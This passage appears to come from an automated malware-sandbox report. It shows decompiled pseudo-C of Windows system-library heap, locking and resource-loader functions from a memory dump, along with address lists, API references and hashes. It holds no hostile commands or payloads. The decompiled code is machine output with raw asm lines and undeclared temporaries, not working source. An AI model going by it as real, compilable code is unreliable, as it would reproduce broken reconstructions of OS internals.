					if(_t98 != 0) {
						if(( *_t134 & 0x00000020) != 0) {
							 *(_t98 + 0x20) =  *(_t98 + 0x20) & 0xffffffbf;
							E6B5576E2(_t134[0xa]);
						}
						_t134[0xa] = _t131;
					}
					 *_t134 =  *_t134 & 0xffffffdf;
				}
				if((_t123 & 0x00000040) != 0) {
					_t99 = _t134[0xd];
					if(_t99 != 0) {
						if(( *_t134 & 0x00000040) != 0) {
							 *(_t99 + 0x20) =  *(_t99 + 0x20) & 0xffffffbf;
							E6B5576E2(_t134[0xd]);
						}
						_t134[0xd] = _t131;
					}
					 *_t134 =  *_t134 & 0xffffffbf;
				}
				if(_t123 < 0) {
					_t100 = _t134[0xc];
					if(_t100 != 0) {
						if(( *_t134 & 0x00000080) != 0) {
							 *(_t100 + 0x20) =  *(_t100 + 0x20) & 0xffffffbf;
							E6B5576E2(_t134[0xc]);
						}
						_t134[0xc] = _t131;
					}
					 *_t134 =  *_t134 & 0xffffff7f;
				}
				_t125 = 0x200;
				if((0x00000200 & _t123) != 0) {
					_t101 = _t134[0xe];
					if(_t101 != 0) {
						if(( *_t134 & 0x00000200) != 0) {
							 *(_t101 + 0x20) =  *(_t101 + 0x20) & 0xffffffbf;
							_t125 = _t134[0xe];
							E6B5576E2(_t134[0xe]);
						}
						_t134[0xe] = _t131;
					}
					 *_t134 =  *_t134 & 0xfffffdff;
				}
				if((0x00000800 & _t123) != 0) {
					if(_t134[0x14] != _t131) {
						if(( *_t134 & 0x00000800) != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t131, _t134[0x14]);
						}
						_t134[0x14] = _t131;
					}
					 *_t134 =  *_t134 & 0xfffff7ff;
				}
				if((_t123 & 0x00000fff) != 0 && _t134[0xf] != _t131) {
					E6B54E8B0(_t125, _t134[0xf], _t123);
					if(_t134[0xf] != _t131) {
						RtlFreeHeap( *( *[fs:0x30] + 0x18), _t131, _t134[0xf]);
					}
					_t134[0xf] = _t131;
				}
			}

0x6b54e8bb
0x6b54e8bf
0x6b54e8c3
0x6b5a57a2
0x6b5a57a2
0x6b54e942
0x6b54e94a
0x6b54e94a
0x6b54e8c9
0x6b54e8ce
0x00000000
0x00000000
0x6b54e8da
0x6b5a564f
0x6b5a564f
0x6b54e8e3
0x6b54e98f
0x6b5a565c
0x6b5a566b
0x6b5a566b
0x6b5a5670
0x6b5a5670
0x6b54e995
0x6b54e995
0x6b54e8ec
0x6b54e9a0
0x6b5a567b
0x6b5a568a
0x6b5a568a
0x6b5a568f
0x6b5a568f
0x6b54e9a6
0x6b54e9a6
0x6b54e8f5
0x6b54e950
0x6b5a569a
0x6b5a56a9
0x6b5a56a9
0x6b5a56ae
0x6b5a56ae
0x6b54e956
0x6b54e956
0x6b54e8fa
0x6b54e95e
0x6b5a56b9
0x6b5a56c8
0x6b5a56c8
0x6b5a56cd
0x6b5a56cd
0x6b54e964
0x6b54e964
0x6b54e8ff
0x6b54e969
0x6b54e96e
0x6b5a56d8
0x6b5a56da
0x6b5a56e1
0x6b5a56e1
0x6b5a56e6
0x6b5a56e6
0x6b54e974
0x6b54e974
0x6b54e904
0x6b54e979
0x6b54e97e
0x6b5a56f1
0x6b5a56f3
0x6b5a56fa
0x6b5a56fa
0x6b5a56ff
0x6b5a56ff
0x6b54e984
0x6b54e984
0x6b54e909
0x6b54e9ae
0x6b54e9b3
0x6b5a570a
0x6b5a570c
0x6b5a5713
0x6b5a5713
0x6b5a5718
0x6b5a5718
0x6b54e9b9
0x6b54e9b9
0x6b54e911
0x6b54e9c1
0x6b54e9c6
0x6b5a5723
0x6b5a5725
0x6b5a572c
0x6b5a572c
0x6b5a5731
0x6b5a5731
0x6b54e9cc
0x6b54e9cc
0x6b54e917
0x6b54e91e
0x6b54e9d7
0x6b54e9dc
0x6b5a573b
0x6b5a573d
0x6b5a5741
0x6b5a5744
0x6b5a5744
0x6b5a5749
0x6b5a5749
0x6b54e9e2
0x6b54e9e2
0x6b54e92b
0x6b5a5754
0x6b5a5758
0x6b5a5767
0x6b5a5767
0x6b5a576c
0x6b5a576c
0x6b5a576f
0x6b5a576f
0x6b54e937
0x6b5a577e
0x6b5a5786
0x6b5a5795
0x6b5a5795
0x6b5a579a
0x6b5a579a

APIs

RtlFreeHeap.1105(?,00000000,?,C000000D,00000000,0000EEEE,?,?,6B5FD3A0,00000000,00000FFF,00000000,?,6B5A9578,00000000), ref: 6B5A568A
RtlFreeHeap.1105(?,00000000,?,C000000D,00000000,0000EEEE,?,?,6B5FD3A0,00000000,00000FFF,00000000,?,6B5A9578,00000000), ref: 6B5A56A9
RtlFreeHeap.1105(?,00000000,?,C000000D,00000000,0000EEEE,?,?,6B5FD3A0,00000000,00000FFF,00000000,?,6B5A9578,00000000), ref: 6B5A56C8

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 332dd7b6427a2ff37b2958637256c2ea3595f6bb166278ecb2218a35508bbaf5
Instruction ID: d7660dca7af09afe1c0e55affacec194c991b96bedc0cd8d3047ae2936e70330
Opcode Fuzzy Hash: 332dd7b6427a2ff37b2958637256c2ea3595f6bb166278ecb2218a35508bbaf5
Instruction Fuzzy Hash: 5F719D71964B41CBF365CE29C600B96B7F1BF41B65F100B9DDAE1129E1D778A841CB40

Uniqueness

Uniqueness Score: -1.00%

Function 6B56B73D, Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 190
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E6B56B73D(void* __ecx, signed int __edx, intOrPtr* _a4, unsigned int _a8, intOrPtr _a12, signed int* _a16) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __ebp;
				void* _t72;
				char _t76;
				signed char _t77;
				intOrPtr* _t80;
				unsigned int _t85;
				signed int* _t86;
				signed int _t88;
				signed char _t89;
				intOrPtr _t90;
				intOrPtr _t101;
				intOrPtr* _t111;
				void* _t117;
				intOrPtr* _t118;
				signed int _t120;
				signed char _t121;
				intOrPtr* _t123;
				signed int _t126;
				intOrPtr _t136;
				signed int _t139;
				void* _t140;
				signed int _t141;
				void* _t147;

				_t111 = _a4;
				_t140 = __ecx;
				_v8 = __edx;
				_t3 = _t111 + 0x18; // 0x0
				 *((intOrPtr*)(_t111 + 0x10)) = _t3;
				_t5 = _t111 - 8; // -32
				_t141 = _t5;
				 *(_t111 + 0x14) = _a8;
				_t72 = 4;
				 *(_t141 + 2) = 1;
				 *_t141 = _t72;
				 *((char*)(_t141 + 7)) = 3;
				_t134 =  *((intOrPtr*)(__edx + 0x18));
				if( *((intOrPtr*)(__edx + 0x18)) != __edx) {
					_t76 = (_t141 - __edx >> 0x10) + 1;
					_v12 = _t76;
					__eflags = _t76 - 0xfe;
					if(_t76 >= 0xfe) {
						_push(__edx);
						_push(0);
						E6B60A80D(_t134, 3, _t141, __edx);
						_t76 = _v12;
					}
				} else {
					_t76 = 0;
				}
				 *((char*)(_t141 + 6)) = _t76;
				if( *0x6b638748 >= 1) {
					__eflags = _a12 - _t141;
					if(_a12 <= _t141) {
						goto L4;
					}
					_t101 =  *[fs:0x30];
					__eflags =  *(_t101 + 0xc);
					if( *(_t101 + 0xc) == 0) {
						_push("HEAP: ");
						E6B54B150();
					} else {
						E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push("((PHEAP_ENTRY)LastKnownEntry <= Entry)");
					E6B54B150();
					__eflags =  *0x6b637bc8;
					if(__eflags == 0) {
						E6B602073(_t111, 1, _t140, __eflags);
					}
					goto L3;
				} else {
					L3:
					_t147 = _a12 - _t141;
					L4:
					if(_t147 != 0) {
						 *((short*)(_t141 + 4)) =  *((intOrPtr*)(_t140 + 0x54));
					}
					if( *((intOrPtr*)(_t140 + 0x4c)) != 0) {
						 *(_t141 + 3) =  *(_t141 + 1) ^  *(_t141 + 2) ^  *_t141;
						 *_t141 =  *_t141 ^  *(_t140 + 0x50);
					}
					_t135 =  *(_t111 + 0x14);
					if( *(_t111 + 0x14) == 0) {
						L12:
						_t77 =  *((intOrPtr*)(_t141 + 6));
						if(_t77 != 0) {
							_t117 = (_t141 & 0xffff0000) - ((_t77 & 0x000000ff) << 0x10) + 0x10000;
						} else {
							_t117 = _t140;
						}
						_t118 = _t117 + 0x38;
						_t26 = _t111 + 8; // -16
						_t80 = _t26;
						_t136 =  *_t118;
						if( *((intOrPtr*)(_t136 + 4)) != _t118) {
							_push(_t118);
							_push(0);
							E6B60A80D(0, 0xd, _t118,  *((intOrPtr*)(_t136 + 4)));
						} else {
							 *_t80 = _t136;
							 *((intOrPtr*)(_t80 + 4)) = _t118;
							 *((intOrPtr*)(_t136 + 4)) = _t80;
							 *_t118 = _t80;
						}
						_t120 = _v8;
						 *((intOrPtr*)(_t120 + 0x30)) =  *((intOrPtr*)(_t120 + 0x30)) + 1;
						 *((intOrPtr*)(_t120 + 0x2c)) =  *((intOrPtr*)(_t120 + 0x2c)) + ( *(_t111 + 0x14) >> 0xc);
						 *((intOrPtr*)(_t140 + 0x1e8)) =  *((intOrPtr*)(_t140 + 0x1e8)) -  *(_t111 + 0x14);
						 *((intOrPtr*)(_t140 + 0x1f8)) =  *((intOrPtr*)(_t140 + 0x1f8)) + 1;
						if( *((intOrPtr*)(_t140 + 0x1f8)) > 0xa) {
							__eflags =  *(_t140 + 0xb8);
							if( *(_t140 + 0xb8) == 0) {
								_t88 =  *(_t140 + 0x40) & 0x00000003;
								__eflags = _t88 - 2;
								_t121 = _t120 & 0xffffff00 | _t88 == 0x00000002;
								__eflags =  *0x6b638720 & 0x00000001;
								_t89 = _t88 & 0xffffff00 | ( *0x6b638720 & 0x00000001) == 0x00000000;
								__eflags = _t89 & _t121;
								if((_t89 & _t121) != 0) {
									 *(_t140 + 0x48) =  *(_t140 + 0x48) | 0x10000000;
								}
							}
						}
						_t85 =  *(_t111 + 0x14);
						if(_t85 >= 0x7f000) {
							 *((intOrPtr*)(_t140 + 0x1ec)) =  *((intOrPtr*)(_t140 + 0x1ec)) + _t85;
						}
						_t86 = _a16;
						 *_t86 = _t141 - _a12 >> 3;
						return _t86;
					} else {
						_t90 = E6B56B8E4(_t135);
						_t123 =  *((intOrPtr*)(_t90 + 4));
						if( *_t123 != _t90) {
							_push(_t123);
							_push( *_t123);
							E6B60A80D(0, 0xd, _t90, 0);
						} else {
							 *_t111 = _t90;
							 *((intOrPtr*)(_t111 + 4)) = _t123;
							 *_t123 = _t111;
							 *((intOrPtr*)(_t90 + 4)) = _t111;
						}
						_t139 =  *(_t140 + 0xb8);
						if(_t139 != 0) {
							_t93 =  *(_t111 + 0x14) >> 0xc;
							__eflags = _t93;
							while(1) {
								__eflags = _t93 -  *((intOrPtr*)(_t139 + 4));
								if(_t93 <  *((intOrPtr*)(_t139 + 4))) {
									break;
								}
								_t126 =  *_t139;
								__eflags = _t126;
								if(_t126 != 0) {
									_t139 = _t126;
									continue;
								}
								_t93 =  *((intOrPtr*)(_t139 + 4)) - 1;
								__eflags =  *((intOrPtr*)(_t139 + 4)) - 1;
								break;
							}
							E6B56E4A0(_t140, _t139, 0, _t111, _t93,  *(_t111 + 0x14));
						}
						goto L12;
					}
				}
			}

0x6b56b746
0x6b56b74b
0x6b56b74d
0x6b56b750
0x6b56b755
0x6b56b758
0x6b56b758
0x6b56b75e
0x6b56b763
0x6b56b764
0x6b56b76a
0x6b56b76d
0x6b56b771
0x6b56b776
0x6b56b85c
0x6b56b85d
0x6b56b860
0x6b56b865
0x6b5b2ba1
0x6b5b2ba2
0x6b5b2ba9
0x6b5b2bae
0x6b5b2bae
0x6b56b77c
0x6b56b77c
0x6b56b77c
0x6b56b785
0x6b56b788
0x6b5b2bb6
0x6b5b2bb9
0x00000000
0x00000000
0x6b5b2bbf
0x6b5b2bc5
0x6b5b2bc9
0x6b5b2be8
0x6b5b2bed
0x6b5b2bcb
0x6b5b2be0
0x6b5b2be5
0x6b5b2bf3
0x6b5b2bf8
0x6b5b2bfd
0x6b5b2c05
0x6b5b2c0e
0x6b5b2c0e
0x00000000
0x6b56b78e
0x6b56b78e
0x6b56b78e
0x6b56b791
0x6b56b791
0x6b56b797
0x6b56b797
0x6b56b79f
0x6b56b7a9
0x6b56b7af
0x6b56b7af
0x6b56b7b1
0x6b56b7b6
0x6b56b7e2
0x6b56b7e2
0x6b56b7e7
0x6b56b880
0x6b56b7ed
0x6b56b7ed
0x6b56b7ed
0x6b56b7ef
0x6b56b7f2
0x6b56b7f2
0x6b56b7f5
0x6b56b7fa
0x6b5b2c2d
0x6b5b2c2e
0x6b5b2c39
0x6b56b800
0x6b56b800
0x6b56b802
0x6b56b805
0x6b56b808
0x6b56b808
0x6b56b80a
0x6b56b80d
0x6b56b816
0x6b56b81c
0x6b56b822
0x6b56b82f
0x6b56b88b
0x6b56b892
0x6b56b897
0x6b56b899
0x6b56b89b
0x6b56b89e
0x6b56b8a5
0x6b56b8a8
0x6b56b8aa
0x6b56b8ac
0x6b56b8ac
0x6b56b8aa
0x6b56b892
0x6b56b831
0x6b56b839
0x6b56b83b
0x6b56b83b
0x6b56b844
0x6b56b84b
0x6b56b852
0x6b56b7b8
0x6b56b7ba
0x6b56b7bf
0x6b56b7c4
0x6b5b2c18
0x6b5b2c19
0x6b5b2c23
0x6b56b7ca
0x6b56b7ca
0x6b56b7cc
0x6b56b7cf
0x6b56b7d1
0x6b56b7d1
0x6b56b7d4
0x6b56b7dc
0x6b56b8bb
0x6b56b8bb
0x6b56b8be
0x6b56b8be
0x6b56b8c1
0x00000000
0x00000000
0x6b56b8c3
0x6b56b8c5
0x6b56b8c7
0x6b56b8e0
0x00000000
0x6b56b8e0
0x6b56b8cc
0x6b56b8cc
0x00000000
0x6b56b8cc
0x6b56b8d6
0x6b56b8d6
0x00000000
0x6b56b7dc
0x6b56b7b6

Strings

HEAP[%wZ]: , xrefs: 6B5B2BDB
HEAP: , xrefs: 6B5B2BE8
((PHEAP_ENTRY)LastKnownEntry <= Entry), xrefs: 6B5B2BF3

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
API String ID: 0-1334570610
Opcode ID: 6b0cb57fb551c8eb20daa9133b2b0c66500a9563835e21eab2862c74bf9e9e14
Instruction ID: 49f776eaf9ce8e2230222b886dd8c5844b413a796d1d8357e942d77fb1f171c0
Opcode Fuzzy Hash: 6b0cb57fb551c8eb20daa9133b2b0c66500a9563835e21eab2862c74bf9e9e14
Instruction Fuzzy Hash: A461E170A04201DFEB58EF28C442BDABBB1FF45344F1085ADE8498B261E779E881CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6B5795EC, Relevance: 10.7, APIs: 7, Instructions: 165
timelibraryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E6B5795EC(intOrPtr __ecx, signed int __edx, intOrPtr _a4) {
				intOrPtr _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t55;
				signed int _t59;
				signed int* _t62;
				void* _t68;
				intOrPtr _t86;
				void* _t90;
				signed int _t91;
				signed int _t92;
				signed int _t95;
				signed int _t111;
				signed int _t114;
				signed int _t116;

				_v8 =  *0x6b63d360 ^ _t116;
				_t114 = __edx;
				_v28 = __ecx;
				_v24 = 0;
				_v20 = 0;
				_t115 =  *((intOrPtr*)(__edx + 0x58));
				if(_t115 != 0) {
					_push( &_v20);
					_push(0);
					_push(0);
					E6B583720(_t90, __edx, __edx, _t115, __eflags);
				}
				_t91 = _t114 + 0x8c;
				_t95 =  *_t91;
				do {
					_t111 = _t95;
					_t55 = _t95 >> 1;
					if(_t55 == 0) {
						_v16 = _v16 & 0x00000000;
						_v12 = _v12 & 0x00000000;
					} else {
						_v16 = 1;
						_v12 = 1;
						if((_t95 & 0x00000001 | _t55 * 0x00000002 - 0x00000002) < 2) {
							_v12 = _v12 & 0x00000000;
						}
					}
					asm("lock cmpxchg [ebx], ecx");
					_t95 = _t111;
				} while (_t95 != _t111);
				_t92 = _t91 | 0xffffffff;
				if(_t115 != 0) {
					__eflags = _v16;
					if(__eflags != 0) {
						__eflags = E6B57EAA0(_t95, 0, _t115);
						if(__eflags >= 0) {
							_t86 = _v28;
							_t35 = _t86 + 0x50;
							 *_t35 =  *(_t86 + 0x50) | 0x00000100;
							__eflags =  *_t35;
							 *((intOrPtr*)(_t86 + 0x64)) = _t115;
						} else {
							_v16 = _v16 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							_v24 = 1;
						}
					}
					_push(_v20);
					_push(0);
					E6B584520(_t92, _t114, _t115, __eflags);
					__eflags = _v24;
					if(_v24 != 0) {
						_t113 = _t92;
						E6B579ED0(_t114 + 0x20, _t92, 0);
						E6B618450(_t114);
					}
				}
				if(_v12 != 0) {
					_push(2);
					asm("lock xadd [edi], eax");
					_t59 = E6B567D50();
					__eflags = _t59;
					if(_t59 != 0) {
						_t62 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t62 = 0x7ffe0386;
					}
					__eflags =  *_t62;
					if( *_t62 != 0) {
						E6B618A62( *(_t114 + 0x5c), _t114 + 0x78,  *((intOrPtr*)(_t114 + 0x30)),  *((intOrPtr*)(_t114 + 0x34)),  *((intOrPtr*)(_t114 + 0x3c)));
					}
					_t113 =  *(_t114 + 0x5c);
					E6B579702(_t92, _t114 + 0x78,  *(_t114 + 0x5c),  *((intOrPtr*)(_t114 + 0x74)), 0);
					asm("lock xadd [edi], eax");
					if(__eflags == 0) {
						_t115 =  *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))));
						 *0x6b63b1e0(_t114);
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))))))();
					}
				}
				if(_a4 != 0) {
					_t113 = 0;
					__eflags = E6B57992F(0);
					if(__eflags != 0) {
						 *((intOrPtr*)(_t114 + 0x70)) = _v0;
						asm("lock xadd [edi], eax");
						if(__eflags == 0) {
							_t115 =  *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))));
							 *0x6b63b1e0(_t114);
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))))))();
						}
					}
				}
				if(_v16 == 0) {
					asm("lock xadd [edi], ebx");
					_t92 = _t92 - 1;
					__eflags = _t92;
					if(_t92 == 0) {
						_t115 =  *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))));
						 *0x6b63b1e0(_t114);
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))))))();
					}
					_t68 = 0;
				} else {
					_t113 = _t114;
					E6B56E63F(_v28, _t114);
					_t68 = 1;
				}
				return E6B58B640(_t68, _t92, _v8 ^ _t116, _t113, _t114, _t115);
			}

0x6b5795fb
0x6b579601
0x6b579603
0x6b579608
0x6b57960b
0x6b57960e
0x6b579613
0x6b5b967f
0x6b5b9680
0x6b5b9681
0x6b5b9682
0x6b5b9682
0x6b579619
0x6b57961f
0x6b579621
0x6b579623
0x6b579625
0x6b579627
0x6b5b968c
0x6b5b9690
0x6b57962d
0x6b579634
0x6b579643
0x6b579649
0x6b57964b
0x6b57964f
0x6b579649
0x6b579653
0x6b579657
0x6b579659
0x6b57965d
0x6b579662
0x6b5b969c
0x6b5b96a0
0x6b5b96aa
0x6b5b96ac
0x6b5b96bf
0x6b5b96c2
0x6b5b96c2
0x6b5b96c2
0x6b5b96c9
0x6b5b96ae
0x6b5b96ae
0x6b5b96b2
0x6b5b96b6
0x6b5b96b6
0x6b5b96ac
0x6b5b96cc
0x6b5b96cf
0x6b5b96d1
0x6b5b96d6
0x6b5b96da
0x6b5b96e5
0x6b5b96e7
0x6b5b96ed
0x6b5b96ed
0x6b5b96da
0x6b57966c
0x6b57969e
0x6b5796a1
0x6b5796a5
0x6b5796aa
0x6b5796ac
0x6b5b9700
0x6b5796b2
0x6b5796b2
0x6b5796b2
0x6b5796b9
0x6b5796bb
0x6b5b9719
0x6b5b9719
0x6b5796c1
0x6b5796cc
0x6b5796d3
0x6b5796d7
0x6b5b9727
0x6b5b972b
0x6b5b9731
0x6b5b9731
0x6b5796d7
0x6b579672
0x6b5796de
0x6b5796e7
0x6b5796e9
0x6b5796ee
0x6b5796f3
0x6b5796f7
0x6b5b973c
0x6b5b9740
0x6b5b9746
0x6b5b9746
0x6b5796f7
0x6b5796e9
0x6b579678
0x6b5b974d
0x6b5b9751
0x6b5b9751
0x6b5b9752
0x6b5b9758
0x6b5b975c
0x6b5b9762
0x6b5b9762
0x6b5b9764
0x6b57967e
0x6b579681
0x6b579683
0x6b57968a
0x6b57968a
0x6b57969b

APIs

RtlGetCurrentServiceSessionId.1105(00000000,00000001,?,?,7FFE0386), ref: 6B5796A5

Part of subcall function 6B579702: RtlAcquireSRWLockExclusive.1105(?,?,?,?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6B57974F
Part of subcall function 6B579702: RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6B57976D

LdrLockLoaderLock.1105(00000000,00000000,00000001,?,?,7FFE0386,?,6B546778,00000001), ref: 6B5B9682
RtlDebugPrintTimes.1105(?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6B5B972B
RtlDebugPrintTimes.1105(?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6B5B9740

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$DebugExclusivePrintTimes$AcquireCurrentLoaderReleaseServiceSession
String ID:
API String ID: 732933571-0
Opcode ID: 909a70161afba1310a5d6bd16cd1d7a7d9dd37cf59f7fcc154e20594cf35714a
Instruction ID: 3b223ef0ce8a3d9247974e53fdc31886e09e49052510c9599fb32050670db84b
Opcode Fuzzy Hash: 909a70161afba1310a5d6bd16cd1d7a7d9dd37cf59f7fcc154e20594cf35714a
Instruction Fuzzy Hash: 87511170F04609EFEB14EF28C845BEEB7B4BF55714F1046A9E411972A1EB7C9912CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B5599C7, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E6B5599C7(signed int __ecx, signed int __edx, signed int _a4, signed int _a8, signed short* _a12) {
				char _v12;
				char* _v16;
				short _v18;
				char _v20;
				char* _v24;
				short _v26;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				char _v44;
				signed int _v48;
				signed int _v52;
				void* _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				char _v77;
				void* _v80;
				signed int _v88;
				char _v89;
				short _t109;
				short _t110;
				void* _t111;
				signed char* _t114;
				signed int _t115;
				signed char* _t116;
				signed int _t118;
				signed int _t120;
				signed int _t125;
				signed int _t143;
				short _t146;
				signed int _t149;
				short* _t156;
				intOrPtr _t165;
				signed char* _t169;

				_v52 = __ecx;
				_t146 = 0x38;
				_t109 = 0x3a;
				_v26 = _t109;
				_t110 = 0x36;
				_v48 = __edx;
				_v28 = _t146;
				_v24 = L"LdrResFallbackLangList Enter";
				_v20 = _t110;
				_v18 = _t146;
				_v16 = L"LdrResFallbackLangList Exit";
				_t111 = E6B567D50();
				_t169 = 0x7ffe0385;
				if(_t111 != 0) {
					_t114 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
				} else {
					_t114 = 0x7ffe0385;
				}
				_t140 = 0x7ffe0384;
				if(( *_t114 & 0x00000001) != 0) {
					_t115 = E6B567D50();
					if(_t115 == 0) {
						_t116 = 0x7ffe0384;
					} else {
						_t116 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					E6B5D6715( &_v28,  *_t116 & 0x000000ff);
				}
				_t156 = _a12;
				if(_t156 == 0) {
					_t165 = 0xc000000d;
					goto L37;
				} else {
					 *_t156 = 0;
					_t149 = 0;
					 *((char*)(_t156 + 0x204)) = 0;
					_v60 = 0;
					_v64 = 0;
					_v77 = 0;
					_v56 = 0;
					while(1) {
						L5:
						_t125 = _t149;
						_t143 = _t149;
						_v68 = _t149 + 1;
						if(_t125 > 7) {
							break;
						}
						switch( *((intOrPtr*)(_t125 * 4 +  &M6B559CEB))) {
							case 0:
								__si = _a4;
								goto L13;
							case 1:
								__eflags = _a8 & 0x00000004;
								if((_a8 & 0x00000004) != 0) {
									 *((char*)(__edx + 0x204)) = 1;
									goto L36;
								}
								__eflags = _a4 & 0x000003ff;
								if((_a4 & 0x000003ff) != 0) {
									 *((char*)(__edx + 0x204)) = 1;
									__edx =  &_v72;
									__eax = E6B54649B(__ecx, __edx);
									__eflags = __eax;
									if(__eax < 0) {
										goto L36;
									}
									__si = _v72;
									__eflags = __si;
									if(__si != 0) {
										__ecx = __ebx;
									} else {
										__ecx = __ecx | 0xffffffff;
									}
									_v68 = __ecx;
									L26:
									_push(2);
									goto L13;
								}
								goto L26;
							case 2:
								_v76 = 0;
								_t127 = L6B55ABEC();
								_t151 = _v60;
								if(_t127 == 0 || _t151 >= ( *( *( *[fs:0x18] + 0xfc0) + 4) & 0x0000ffff)) {
									_t173 = 0;
								} else {
									L6B55AAC7(_t151,  *( *[fs:0x18] + 0xfc0), _t151,  &_v76,  &_v77);
									_t173 = _v88;
									_t151 = _v72;
								}
								if(_t173 == 0) {
									goto L21;
								} else {
									if(_v77 != 0) {
										__eflags = _a8 & 0x00100000;
										if((_a8 & 0x00100000) != 0) {
											_t173 = 0xeeee;
										}
									}
									_v60 = _t151 + 1;
									_t149 = _t143;
									_push(3);
									_pop(_t167);
									_v68 = _t149;
									goto L13;
								}
							case 3:
								__eax = _v52;
								__eflags = __eax;
								if(__eax == 0) {
									L32:
									goto L5;
								}
								__edx = _v48;
								 &_v36 =  &_v44;
								__ecx = __eax;
								__eax = L6B5561A7(__ecx, _v48,  &_v44,  &_v36, _a8);
								__eflags = __eax;
								if(__eax >= 0) {
									 &_v12 = E6B58BB40(__ecx,  &_v12, _v44);
									 &_v48 =  &_v20;
									__eax = E6B5543C0( &_v20,  &_v48);
									__eflags = __al;
									if(__al == 0) {
										_v64 = 0xc00b0005;
										goto L31;
									}
									__eflags = _a8 & 0x00100000;
									__si = _v40;
									_v76 = _v40;
									if((_a8 & 0x00100000) != 0) {
										__edx =  *[fs:0x18];
										 &_v77 =  &_v76;
										__edx =  *( *[fs:0x18] + 0xfc0);
										__eax = L6B55AAC7(__ecx, __edx, 0,  &_v76,  &_v77);
										__eflags = _v89;
										if(_v89 == 0) {
											__si = _v76;
										}
									}
									__eax = _v36;
									__al = __al & 0x00000001;
									asm("sbb edi, edi");
									goto L42;
								}
								L31:
								__ecx = _v68;
								__edx = _a12;
								goto L32;
							case 4:
								__eax = 0xeeee;
								_v76 = __ax;
								__eax = _a8;
								__eax =  !_a8;
								__eflags = __eax & 0x00080000;
								if((__eax & 0x00080000) != 0) {
									goto L36;
								}
								__eflags =  *[fs:0x18];
								if( *[fs:0x18] == 0) {
									__si = _v76;
									goto L5;
								}
								__eax =  *[fs:0x18];
								__si =  *((intOrPtr*)( *[fs:0x18] + 0xc4));
								goto L13;
							case 5:
								__eax =  &_v56;
								_push( &_v56);
								_push(1);
								__eax = L6B589630();
								__edx = _a12;
								__ecx = __eax;
								_v72 = __ecx;
								__eflags = __ecx;
								__ecx = _v76;
								if(__eflags < 0) {
									goto L5;
								}
								__si = _v56;
								goto L42;
							case 6:
								__eax =  &_v32;
								_push( &_v32);
								_push(0);
								__eax = L6B589630();
								__edx = _a12;
								__ecx = __eax;
								_v72 = __ecx;
								__eflags = __ecx;
								__ecx = _v76;
								if(__eflags < 0) {
									goto L5;
								}
								__eax = _v32;
								__eflags = _v32 - _v56;
								if(_v32 == _v56) {
									goto L5;
								}
								__si = __ax;
								L42:
								__ecx = _v68;
								goto L13;
							case 7:
								L13:
								_t159 = _a12;
								if(_t173 == 0xeeee) {
									goto L5;
								}
								_t144 =  *_t159 & 0x0000ffff;
								_t153 = 0;
								_t129 = _t144;
								if(_t129 == 0) {
									L19:
									if(_t144 >= 0x40) {
										goto L36;
									}
									 *(_t159 + 4 + _t129 * 8) = _t173;
									 *((intOrPtr*)(_t159 + 8 + ( *_t159 & 0x0000ffff) * 8)) = _t167;
									 *_t159 =  *_t159 + 1;
									L21:
